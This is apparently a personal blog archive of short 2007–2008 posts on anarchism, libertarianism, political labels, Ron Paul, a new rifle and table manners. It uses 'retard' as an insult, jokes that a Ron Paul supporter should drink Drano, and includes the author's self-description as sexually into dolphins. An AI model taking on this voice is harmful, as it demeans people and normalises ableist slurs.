When I do have to label myself though, I prefer to use the most general label possible. I told my dad I was a libertarian when I was an anarcho-capitalist. A year later, discussing politics, he found out how consistent of a libertarian I was, and that I was an anarchist. Now he tells people (like my boss) that I'm an anarchist. Which is annoying.

But when dealing with other anarchists, anarchists don't have to worry when they call themselves anarchists. They just stand to give the other person the wrong idea when they say something like "anarcho-capitalist" or "anarcho-communist" or "anarcho-whatever", which is why I like "anarchist without adjectives". I also don't mind calling myself an agorist because you can pretty much either know what agorism is, or you don't know shit about it. In the first case I won't be misinterpreted, in the second case I'll get to spell out exactly what it means for you so that I won't be misinterpreted. If the agorist label catches on and people start misusing it or being dumbassses with it, that might change, but for now I'm fine with agorist and I hope it stays that way.

Anarchist obviously isn't the only word that this applies to. Another great example would be "gay". My mom is a retard with GLBT issues, so she called a masculine-looking girl in Shrek 3 "a gay". The full sentence: "Why did they have to have a gay in it?" I hope nobody ever tells my mom that they're gay.

The worst labels to use are the ones that are likely to identify you as somebody's enemy. The people who seek enemies find the best way to find them is to find a label to declare your enemy, and then anybody who uses that label becomes your enemy. By avoiding labels whenever possible, you can have an intelligent conversation with them that doesn't have all sorts of bullshit about how you eat babies and support the terrorists because you're Pro-Choice, or a rightwing evangelist end-of-the-world freak because you're Pro-Life. If I know that somebody is going to think I'm their enemy if I'm a capitalist, I'll do whatever I can to evade the word "capitalist" being slapped onto me (except lie, of course). I'll give them the issues I imagine they agree with me on, then slowly lead them toward the anarchistic ideas of a political class, leaving people alone, and disobeying bad laws (which happens to be almost all of them, so I start with supporting people that break the laws they don't like). Because you don't have to call yourself a "capitalist" for them to slap you with that label and all the baggage they give it, you just have to act like one.

I know people who take a "STAY THE COURSE" stance on the label they choose. Most of them like "Anarcho-capitalist". They'll ruthlessly declare themselves anarchocapitalists and if other people think it means something it doesn't, "that's okay, we'll just correct them" even though in most cases the other person probably won't be listening. This is stupid, it's that fear-of-identity-loss thing.

Instead of labelling, just give the facts and principles, in ways that they cannot be distorted, added to, or deleted from. Don't say "I'm a capitalist" or "Capitalism is good", and don't start off with "All tariffs and regulations should be gotten rid of" (because that'll get you slapped with the label "capitalist" or "free-trader"). Say "Rules telling people they can't engage in mutually beneficial transactions are harmful." MAKE THE OTHER PERSON THINK. THINKING IS GOOD FOR THEM. Don't do too much thinking for them, otherwise when it does come time to think, they'll probably choose not to, and go into unthinking, emotive, you're-my-enemy mode instead, which you don't want them to do (or at least I don't, and I hope you don't).

There's this recurring issue on the Fchan /dis/ (discussion) board, of "I'm straight but I like gay furry porn. Help!" And they want to be told they're straight, or they're gay, or they're bi, and why. They aren't content to just sit and be who they are without worrying about trying to fit squarely into one label or another. This stupid shit is worrying people!

Labels delete information, add information, and distort information. They're a shortcut (read: dead end) for people who don't want to actually think about things. Unless your goal is extreme brevity, being misunderstood, or making enemies, they're completely unnecessary.

Good Libertarian! pats head

2008-01-17T19:28:00.000-08:00

Just because ostracism looks like a viable method of reasoning with those who cannot be reasoned with, does not mean it's a viable way of getting people to do what you want who are simply uninformed. On a forum which will remain unnamed, a poster who shall remain equally anonymous is sufficiently irritated that people say "succeed" and "succession" as if they meant secede and secession, and said anonymous has taken to ostracizing those people.

This is a community where it seems to be the popular opinion that all you have to do is ostracize people into doing what you want them to do.

Why not just tell them "hey, it's spelled 'secede', dickwad". This would like it would get much better results.

When smart people do stupid shit like this, I tend to look for a real motive and discard the claimed or implied motive. This anonymous does not want people to correctly choose between "secede" and "succeed" as strongly as they want to look like the idea-making most-libertarian haha-look-at-me-implementing-our-brilliant-libertarian-tactic type. A "good libertarian". Not as opposed to a "bad libertarian", but as opposed to a "non-standard, disagreeable libertarian, who won't get positive reinforcement from others". There's "good" everythings. "Good atheists" say dumb shit like "Oh my science!". "Good Christians" say dumb shit like "The bible says it's true, that makes it true". (I personally don't believe people seriously, deeply, truly believe that the Bible is infalliable. If their other Good Christian friends shunned them for insisting it to be true, they'd probably stop really quickly, or find new friends.) There's "Good Politicians". Don't make me describe them.

Don't become one of these kinds of "Good Humans". If you're mentally dependent to the point that you require others to believe you're a good whatever-they-are, you've got issues. This crap is stupid. So is ostracism as a way of getting people to do what you want. (Unless you want to get them to be reasonable.)

New Toy

2008-01-16T18:57:00.000-08:00

I got a rifle last week. It's a 10/22 Carbine with a Bushnell scope. It's pictured here alongside my XD-40.

It took a while for me to figure out what to get. The 10/22 wasn't high on the list for most of that period of time. What I'd also wanted to get was an M59/66, a Yugoslavian-made (and exceptionally tough) SKS. I also considered a WASR-10 (like an AK-47), an M1 Garand (from the CMP), and a few shotguns from Mossberg (notably the 590 and Maverick 88). For a cheap gun to shoot with, I'd looked at the 10/22 and the Marlin Model 60, both .22lr, a 3-cent round as opposed to the 20-cent round used by the SKS and WASR, or the 40-cent round used by the M1. Eventually I figured, I might as well learn to shoot with cheap ammo before I get a gun that'll cost a lot more to practice with. No point wasting more expensive ammo learning skills I could get with a .22 instead. It was a bit of a toss-up between the Marlin Model 60 and the 10/22, I liked the Marlin's price and reputation for accuracy, and I didn't mind having a tubular magazine. The 10/22 was more expensive, but I still like detatchable magazines and I could tolerate mediocre accuracy if I had to. I really don't know what prompted me to get the 10/22 over the Marlin. I was standing at the Walmart gun rack looking at the two rifles I wanted, and I still couldn't figure which one to get. I eventually broke my indecision the best way I knew how: Pick one by no particular criterion, and force myself to stick with it.

I can't wait to take it to the range, which might be a while still away, since my boss (I no longer work at KFC, by the way) keeps asking me to come in on the weekends and I work during the week too. D'oh. That's what I get for not having broken out of the "job" system yet.

Humans and People

2007-12-31T17:40:00.000-08:00

First, I apologize for not posting recently, I've been on an either sporadic or amazingly slow internet connection for the past couple months. Moving on.

It's a minor peeve of mine when people talk about how "man has rights". Not because I disagree about the rights. Not because it's sexist (at least, not primarily, it's not intended to be anyways). It bothers me because it blurs the line between person and human.

Human is a scientific term. Person is a legal term.

There's a lot of overlap between the two, obviously. It's not surprising that people conflate them. It's like conflating hippies and vegans. For an example of the difference, consider a corpse. A corpse can be human, and everybody will say it's a human corpse. But it's not a person. If you say "I see dead people", most will assume you mean ghosts, not carcasses. By contrast, there are a lot of hypothetical and nonhypothetical nonhuman persons. Dolphins aren't legally recognized as people because statists are monopolistic retards. An example much easier for most humans to accept is that a "smart AI" could have rights. Stick a sentience just as smart as a human in a human-shaped body such that a casual observer couldn't tell the difference and you have a nonhuman with rights. Changing its appearance doesn't make it less of a person.

People are sapiences. Humans are monkeys. People are smart. Humans are stupid.

These are obviously not mutually exclusive, but I notice that there's a tendency to be one or the other, somewhere along a spectrum. I tend to get along better with those that are people, more than they are humans. I don't like people that put their humanity before their personity. I like people. I don't like humans.

Humans just act like monkeys. They travel in packs and conform and beat each other senseless over irrational emotive whims. They're afraid of everything and they just seem to hate everyone that's not in their monkeysphere. Religious nuts, nationalist nuts, racist nuts, etc.

People are great though. People are smart, adaptive, unique, peaceful, brave, and loving. Transhumanists are as explicitly "person" as it gets. They don't linger on the fact that they're human and act like they are doomed to be humans forever. They don't act like they're better than everything else because they're one specific species. They know that it's their sapience that gives them rights, not their humanity. And they know that their sapience, their existence as a "person", can persist independent of species or substrate.

It really isn't hard to figure out which you are. I'd throw humans under "loss-oriented" for fearing the loss of an improperly valued identity.

I've thought something like this for a long time (though it wasn't explicit until the past year or so), and I think this is the mindset that made me want to not insult myself by presenting as a human and being the same species as some of the morons out there, and made me prone to furrydom.

Paint Chips

2007-12-08T22:22:00.000-08:00

From the same person that brought you the saying "opinions are never wrong, that's what separates them from facts", I give you, a definition of god:

god to me is energy of life, that what makes growth and decay, that what is evolution, that what goes with or without humans, and probably scientificly measurable.

the plants the trees, animals, rocks, earth, universe all and everything as a non entity but as an energy which you can personalize for comfort or make it abstract to distance from, god is the image of my grandfather in my room when i was four and he was dead, god is the attraction to a person i love, and the repulsion of those i do not love.

I heart analogies

2007-12-03T19:41:00.000-08:00

I'm reading "Studies in Mutualist Political Economy" by Kevin Carson. I've actually been meaning to read it for a while. Author is pro-LTV and I've never heard it explained this intelligently. My favorite two paragraphs so far, from chapter 1C:

Böhm-Bawerk summed up all the deviations from the labor principle, and concluded that the labor theory of value "does not hold at all in the case of a very considerable proportion of goods; in the case of the others, does not hold always, and never holds exactly. These are the facts of experience with which the value theorists have to reckon."

...

He would have made as much sense in saying that the law of gravity was invalidated by all the exceptions presented by air resistance, wind, obstacles, human effort, and so forth. The force operates at all times, but its operation is always qualified by the action of secondary forces. But it is clear, in the case of gravity, which is the first-order phenomenon, and which are second-order deviations from it.

Black and White

2007-12-02T10:47:00.001-08:00

Here's another line I hear quite a bit (usually after talking politics or ethics). "The world isn't black and white." I personally believe that it is. The problem is that the "black and white" perspective is misunderstood.

Things that appear to be "shades of gray" aren't proof that the world isn't black and white so much as they demonstrate that if your vision is blurry enough, a black object with a few little white spots looks dark gray. The misunderstanding of "black and white" vision is that a whole thing must be either black or white, and can't be sorted into it's component black and white elements. But if your information is good, if your vision is clear, you can pick out the white spots from the black spots. And when your vision isn't clear enough that you can tell the black and white components apart, get a microscope to view it through.

If you take the metaphor to mean that red, blue, green, etc also exist, you're using a different sense of blurry vision whenever you see white. White itself isn't a color, just a combination of red, blue, and green. You either have presence or absence of light in any one frequency. To extend this into metaphor, neither the red team nor the blue team are fully white nor black, but both teams have different elements of white and different elements of black in different ways.

In other words, when the microscope fails you, try a spectroscope.

The world is black and white. The harder you look, the more black and white it becomes. Anything that isn't black or white is a result of imperfect information, and means you may need to refine it to deal appropriately with the world.

Ironic

2007-12-01T20:47:00.000-08:00

I personally don't go with the labor theory of value, but there's idiots on every side of every debate.

I find it ironic when economic Austrians use the following examples to disprove it:

If you dig a ditch and then fill it back up...
If you spend all day making mudpies...
If you put mud into a bottle of wine...
...you've done labor, but that hasn't created any value!

It's funny because it's fairly basic Misesian premise that human action is purposeful action. It's so elementary that he wrote a thousand page book titled "Human Action" after it. This book is, as I've heard it called, one of "the towering achievements of the Austrian School". It would seem to refute the Misesian premise of purposeful action to have people spend an afternoon making mudpies, not to mention it's a strawman in the first place.

Bypass, Strike Root

2007-12-01T16:44:00.000-08:00

This is my favorite argument in favor of anarchism. Every time I use this on someone unfamiliar with libertarian theory, they either concede that they never saw it that way, or they decon to anarchism.

It bypasses all the objections from the magical omnipotent godstate that can do the impossible, make people moral, and build roads without market failure.

"When you speak of the government, you are speaking of a group of people. These are not magical people, just ordinary people calling themselves a government. To say that the government is necessary is to say that government is necessary for something, and to propose that government is necessary for any one thing is merely to propose that people need to do one thing. There is nothing a 'government' can do that people cannot. Thus, the government fails to be necessary for any one thing, thus fails to be necessary for anything, thus fails to be necessary at all."

Free Yourself

2007-12-01T15:15:00.000-08:00

One of the things people tell me a lot is "Oh yeah? Well what are you doing for the cause of freedom? At least I vote."

It's kinda important not to let freedom become detached from what it is. Freedom means freedom for people. As of the last time I checked, I'm a person. Anything I do to free myself is done for the cause of freedom. Freedom isn't a cause that can be totally separated from the people to be freed. Freedom is more than just a metaphorical shrinking of a government myth.

If I find a way out of paying taxes, that's morally equivalent to a tax cut. If I find a way to become an entrepreneur, that's morally equivalent to easing the plight of the working class from the big business exploiters. I don't need to be a useless political type advocating for a law that won't get passed, "something for nothing" in theory reversed into "nothing for something" in practice. Reducing the national tax burden by say, $10,000 (of my own money), makes me infinity times as effective as agitating for tax cuts in a world where whether or not tax cuts will be had is more dependent on which party is in power. Without libertarians agitating for tax cuts, you'd still get just as many tax cuts of just as great size. Spend your efforts toward something that gets results.

But that's what I'm doing for freedom. Freeing someone.

How much is voting worth?

2007-12-01T12:54:00.000-08:00

Suppose you had to put a price on your vote. If somebody charged you this much to vote, you'd decide that voting just didn't get results that were worth that payment. How much would that be?

I don't know of an argument that'll get people to think harder about the actual efficacy of voting. If they say more than one ounce of silver, they're going to look stupidly optimistic. If they say less than one ounce of silver, they'll realize how worthless it is. They won't be able to evade it as if voting is a priceless civic duty without compromising the exact image they'd say that kind of thing to save.

I personally would have to be paid about an ounce of silver to go and vote and actually think I'm better off for having voted.

Meme Tag

2007-11-28T20:00:00.000-08:00

Olly tagged Aaron tagged me. I don't normally do this kind of thing but now I've got a blog for pointless stuff like this.

I got to thinking recently about the idea that all of us, as humans, have principles we live by daily. These aren’t your over-arching beliefs necessarily, but rather the things that you do daily as a part of those beliefs. So, for example, it’s not that I’m an anarchist, but things I do daily in line with that. I’ve kept it to 5 on my own, but there’s no hard rules on this meme; name as few or as many as you’d like! Likewise, no limits on how few or how many (if any) people you tag… do whatever is comfortable!

Principle 1: A better way exists, find it.

I'm a perfectionist, but perfection is perpetually elusive. Since I can't ever have it exactly perfect, but it still bugs me when I find imperfections, I do a lot of slow, constant refining on things. Ideas, drawings, perceptions, writings, skills, that sort of thing.

Principle 2: Question everything.

This goes along with Principle 1. There are ideas that get into your head that are sometimes hard to get rid of. I question the things I think I know, and the things others think they know. There's nothing that isn't up for questioning.

Principle 3: Do something different.

Doing something the same way again and again because it gets results is subject to withering of time like anything else. Every time I do something I've done before, I try to do it differently. I may find it works better. I make find it doesn't work as well. No matter what I find, I'm better off with that knowledge. So it falls under Principle 1 also.

Table Manners

2007-11-28T19:22:00.000-08:00

I admit that when I'm eating food, I'll use pretty much any way to get it to my mouth that I find necessary or convenient, but the things people tell me to do instead are just arbitrary and I can't see any value in them. I try not to bite off pieces so big I can't chew with my mouth closed, but things like eating slabs of meat by cutting them up first I don't get. Nobody would care if you stick a porkchop between two pieces of bread and cut it with your front teeth. Take away the bread, put it on a plate, and give the eater a fork, and the rules inexplicably change. I just can't imagine a reason for it. It's more work to cut it up with a knife before cutting it up with your teeth anyways. If there was at least some consistent principle like "when you eat meat you should cut it up first", I'd find it tolerable. Making it dependent upon whether or not you call it a sandwich or a pork dinner is stupid.

Apparently it's also rude to question the reasoning behind table manners while eating.

Something that people usually bug me about is a way I eat extremely hot pizza. I basically put it on a plate, and hold the slice of pizza by holding the plate. The corners hang off and I drag the slice off the plate a bit when I get a bite. Aside from the plate, this is exactly how everyone eats pizza. Why is is rude when I use a plate? I don't fucking get it.

Also when food is of the annoying type that doesn't easily gather onto a fork or spoon or whatever utensil I have, I bring my mouth down to the plate or the plate up to my mouth. I don't know why that's considered rude.

I like to believe there's a reason behind everything but silly pointless shit like this exists and makes me wonder how stupid people are to think these rules that get in the way of eating are good ideas?

Why are people watching the way each other eat anyways? I mean, if you don't like the way I eat, why are you watching me? You've probably got your own food or the TV or something to look at.

Gain and Loss

2007-11-25T13:18:00.000-08:00

I'm leaving all my original insightful posts on boredzhwazi.blogspot.com and just putting everything else here. This is a recap, so this consolidation and reorganization of the "Gain and Loss" series is going on this blog instead. It's a major portion of my worldview, so if you want to understand how I think, you've got to understand the gain and loss paradigm.

People tend to be either gain oriented or loss oriented. Gain orientation means you look at everything thinking about what you stand to gain from it. Loss orientation means you look at everything thinking about what you stand to lose from it. Gain orientation doesn't mean "absolute disregard for loss", nor does loss orientation mean "absolute disregard for gain". It's just an orientation.

Gain orientation is future-orientation. It's about what you don't have that you want, it's about a better condition in the future. Loss orientation is past-orientation. It's about what you have had until now, and not risking it.

Gain orientation possesses an entrepreneurial boldness. It's being unafraid to take risks when it is possible to gain a reward. Loss orientation, by contrast, is centered around a lazy fearfulness. It's being afraid of losing something and looking for either "something for nothing" or "guaranteed little bit of something for guaranteed little bit of something", the two poles where the best opportunities do not lie (and where most people get fucked over).

Gain orientation is active. You won't get something in the future if you don't do something now. Loss orientation is inactive. You probably won't lose what you've got now if you don't do anything to risk it.

Gain orientation is rational. You can calculate the risks and rewards and rationally come to a conclusion that some course of action is a good idea. Loss orientation is emotive. You fear loss, and allow this fear to limit your will to think rationally and objectively about things.

Everybody is a mixed combination of the two. There are thresholds, points beyond which one's normal orientation becomes reversed, gain orientation to a point, after which one becomes loss oriented, or vice versa. There is a degree of field-specificity; someone bold in matters of relationships may be timid in matters of finance, for instance, or vice versa. But most people fall under one or the other.

Gain orientation is empowering. And it's full appreciation requires the acceptance of other empowering ideas. Part of becoming gain oriented is minimizing the fear of the unknown, and not only through doing your research, but though fully appreciating and integrating the idea that there is nothing beyond your ability to comprehend, and even if something does go wrong, it's not the randomness of a roll of the dice that made you fail, but a real factor that it is within your power to avoid or negate in any future attempts. When nothing is unknowable, the fear of the unknown is replaced with curiosity, the deterrent to action is replaced with incentive. Loss orientation deals more with probabilities of occurances than with what actually manifests, as if the reality were really totally out of their control, and usually, totally beyond their understanding.

Loss orientation is pervasive in modern society.

Much of this loss orientation is about a loss of some valued identity as such. Racism, nationalism, sexism, most forms of collectivism, and to some extent, religion, are about preserving a feature of one's distinct identity, that, for whatever silly reason, the valuer values. Effeminate males and gays and transgenders threaten the identity of masculinity and "maleness", and the people that hate that sort of thing highly value masculinity (and probably their identity as masculine). Making enemies to preserve a feature of one's identity as such is a loss oriented way of thinking. Cultural identity and tradition are part of this. People often consider their traditions to be part of their culture, and their culture to be part of their identity.

Loss orientation is amazingly obvious in government. What is the most compelling reason why people believe government is necessary? Fear. Loss orientation. Overcoming this fear is the biggest barrier to anarchism for most people. Anarchy is unknown to them, and thus it is feared. Government rhetoric is entirely oriented toward loss. It is the statists who are saying "Vote for the lesser of two evils", but the anarchists who are saying that "a better world is possible". And how does government operate with other governments? Fear. How does government operate with it's own agents? Fear. How does the government teach students in public schools? Through fear of being wrong, through punishment for being wrong, through appeals to that loss oriented part of the mind and through punishment to that bold, outspoken element in everyone that wants to speak out and be exceptional and break the government mold.

Working at a formal "job" for low pay because you're guaranteed to be paid instead of working freely, becoming perpetual wage labor when entrepreneurship is within reach, is loss oriented. Getting into debt for the sake of keeping up the the Joneses is loss oriented. "Normality" as a value is loss oriented.

Everything that encourages mediocrity and ignorance and self-limiting attitudes is loss oriented.

This is why I'm such a freak to most people. I'm aware of my own degrees of gain and loss orientation, and capable of forcing myself to overcome it when necessary. I can force myself to go against cultural momentum when the direction of that momentum is wrong.

Absolutely, apply this idea to yourself. Evaluate yourself in this light. Evaluate others in this light. Don't lie to yourself about it and tell yourself you're gain oriented when you're not, that's loss oriented.

The Lord's Prayer

2007-11-25T13:06:00.000-08:00

I got bored in Church (amazing, no?) so I thought up this.

Our Lord,
Who art in Texas,
Ron Paul be thy Name.
Thy Presidency Come,
Thy Policy be Done,
In the White House as it is in Congress.
Give us this Day, our Daily Freedom,
And Forgive us our Doubts,
As we Forgive those who Doubt you.
And Lead us Not into Tyranny,
But Deliver us from Authority,
For Thine is the Presidency,
And the Power, and the Liberty,
In 2008.

Amen.

Ron Paul is NOT our Risen LORD and Savior

2007-11-24T21:26:00.000-08:00

...although that seems to be news for some people.

I've been relatively shut up about Ron Paul, but some people just won't return the favor and shut up about Ron Paul.

I've contributed literally nothing to the Ron Paul campaign. I haven't suggested him to anyone. I haven't drawn attention to him. I haven't advocated him as a libertarian. I've lol'd a bit at the media blackouts, and talked about him to people who were already talking about him, but that's it. And I'm proud of my inaction.

As I've said elsewhere, the Ron Paul campaign is analogous to a running faucet. It's a total waste, and it makes a lot of noise. It's annoying. It's more annoying when they make themselves an enemy and say I hate freedom because I don't support Ron Paul.

But most annoying are those rabid advocates of Ron Paul willing to suspend rational thought because it feels good. There are actual, living, breathing Libertarians in this world who believe that Ron Paul is our one and only path to a libertarian heaven where the money is made of gold and there is no taxation and the government doesn't do 90% of what it does now. I've got a beef with this kind of dependent thought. Libertarians, those most individualistic of individualists, independent of independents, should recognize dependence upon god-figures for what they are.

One guy I met tried to convince me that Ron Paul is actually an anarchist, and his election would usher in a golden age of libertarianism. Seriously, go drink some Drano to unclog your brain.

This is what libertarianism is coming to. Politician worship. This is why I like to analogize church and state. Ron Paul is an American political Jesus. Now let us all sing in his praise, Amen.

The campaign is also bringing back that terrible idea that the libertarian platform should be watered down for the masses. Last time I heard this argument it was about the Libertarian Reform Caucus, which advocates increasing tax rates. Now it's the same reasoning from the same people; Libertarianism is too extreme. It must be hidden from the view of the public for only those most hardcore of hardcores to view.

For those spineless faithful libertarian masses that don't give a shit about principle or the fully comprehended and consistent truth of libertarianism, the remote possibility of seeing a partial implementation of a neutered libertarianism is omniimportant. My prediction: They're not going anywhere. Ron Paul is gonna flop. Even if he wins the Republican nomination (I give it a 5% chance), he won't win the election (libertarianism is too easy to smear, and the most compelling counter-arguments have already been sacrificed to make it appeal to the masses), and even if he wins the election (which I give a 1% chance), he isn't going to bring forth a new age of Libertarianism in America. I give this latter possibility a zero percent chance because it's just impossible.

Ron Paulites: Think long term.

Have you ever characterized government growth as "inexorable" or "the natural tendency of government?" If you have, you're right. Do you really think that if we repealed every law passed since 1902, we'll find ourselves someplace other than back in 2002 before we get to 2052 much less 2102? If you do, you're a hypocrite. If you don't, then you're an idiot.

Big government is wrong. I know it. You know it. Let time show everybody else that it is true. Irresponsible short-run thinking is a statist trait, not a libertarian one. Libertarians shouldn't be choosing another hundred years of statism to gain a 4 year respite today.

Governments are never and will never be destroyed by gradual whittling down from within. The Browne idea that we should "Get the government down to 1% of it's actual size, then argue about whether or not to abolish it entirely" is erroneous. If one believes that it should be abolished entirely, it's not going to be abolished for the next 200 years after that, and some hundred some years into that, people will be right where they are now governmentally speaking. Choose NOW whether you want organized crime to be extremely small or nonexistent. If you want it extremely small, I urge you to go waste your time and effort on Ron Paul. If you want it gone entirely, you have less counterproductive things to be doing.

We're already seeing the first stages of a depression, and we're long overdue for one. The lending crisis and the canadian dollar finally overtaking the FRN in value should be glaring signs. Voting in Ron Paul now, even if successful, will have biased historians for the next 70 years blaming libertarianism and sound money and banking on this depression. Next person into office won't be a libertarian, and public opinion will be polarized against libertarianism for decades to come.

Ron Paul is NOT Jesus Christ. STOP ACTING LIKE IT.

The Friend of my Friend is my Enemy

2007-11-24T16:10:00.000-08:00

I don't like to make enemies. Some people do. So I've got enemies. The number one trait of all my enemies is that they make themselves my enemy. Consider it my humble opinion that making enemies is so dumb it's not funny, unless you're trying to depress rationality, in which case your real goal isn't making enemies, it's keeping the group cohesive, like a church or a state or racists have to. But some people make enemies for the sake of making enemies anyways.

I dunno if Rand herself did it, but the way some randists go around bludgeoning people with their cocky "fuck the poor, the rich are 50 times better than them" attitude (if they don't explicitly say it, they sure act like they did), seemingly just to piss off the supposed enemies, is a great example. The way anarchocapitalists say that anarchosocialists aren't real anarchists or the way social anarchists say anarchocapitalists aren't real anarchists is a also a good example. And that's why I go with the "without adjectives" adjective.

Conservatives are really bad about this. The whole goddamn world is out to get the conservatives. There's a vast conspiracy to make America speak spanish. The arabs hate our freedoms. Atheists want Satan to win the battle against God. Gays want human procreation to cease, and want to indoctorinate the existing kids in how to be gay by adopting them. Darwinists are trying to force them to teach their kids that gay sex isn't wrong. In fact, it seems like everybody except a conservative's family, church, government, and Fox News are out to get them, which is so fucking backwards it's not even funny. It's like minor-league conspiracy theorizing, and probably explains why all the conspiracy nuts are on the right where they're already prone to thinking that silly shit. Conservatism is addicted to fear and hatred and the easiest way to keep the fear and hatred up is to have a never-ending train of enemies. Maybe if conservatism wasn't such a backward, traditionally-oriented philosophy it'd not be full of such angry retards. Watching Fox News is like watching people being given subliminal instructions: Hate this group. Hate that group. These guys are your enemies. This person hates you personally. Be afraid of X, Y, and Z. Look how offensive this asshole is. He probably hates you."

Worse, everyone in my family is a conservative, except my dad, who's a bit apolitical and libertarian-leaning most of the time. At least he's not in the tradition trap. But I still have to lie to most of them. My dad, I'm happy just not telling him and he doesn't ask. He doesn't seem to mind that I'm an anarchist, atheist, and nudist. I lie to pretty much everybody else. I pretend to believe in god and government and family values and pretend to not be who I am around my family because they still think they've got a claim to my life and they'll go out of their way to make mine difficult if they find out they don't. They already seem to do it.

Some people even see my compatiblistic political approach as an enemy, since it threatens the highly-valued distinct identity of anarcho-capitalism. Even your friends are your enemies if they're somebody else's friend too.

It's fucking stupid and especially difficult for me to go along with in practice. I don't like enemies. So sometimes I'll lie about who I am (so far, only to family members) so that they don't see me as an enemy, but I hate lying too.

Introduction

2007-11-24T14:45:00.000-08:00

When I made my other blog, I made it with the intention of being informative and helpful and giving insight. So far that's what I've stayed true to, with little exception. But I've got more to say than fits in that category. I've got rants. I've got to call people dumbasses. I've got to bitch about personal crap. In case you don't read my other blog or talk to me directly regularly enough to know, here's a bit about me.

I'm a deep anarchist. There is no state. I'm a strong atheist. There is no god. I'm a strong libertarian. I'm an agorist. I'm a nudist. I'm a gun nut, and gunowner. I'm a geek. I use Linux and open-source software. I'm a participant of the Free State Project and First 1000 pledge. I'm a freethinker. I'm an extropian and a transhumanist.

I'm a bisexual male, into humans and dolphins. I'm a furry. I don't believe in marriage.

I don't try to make enemies, but I've got enemies to bitch about because a lot of people do try to make enemies.

My other blog mentions some rather unknown concepts and whenever I mention one I'll link to the relevant explanatory posts on my other blog. Whenever I use unknown ideas that don't come primarily from my blog, I'll refer to some other source.

I'm in a lot of minorities because I've thought about those things and concluded that most people are wrong. That gives me a lot to talk about.

People seem to really like my other blog so hopefully if their standards are lower than mine or their tastes include destructive ranting and not just constructive thinking, they'll like this one too.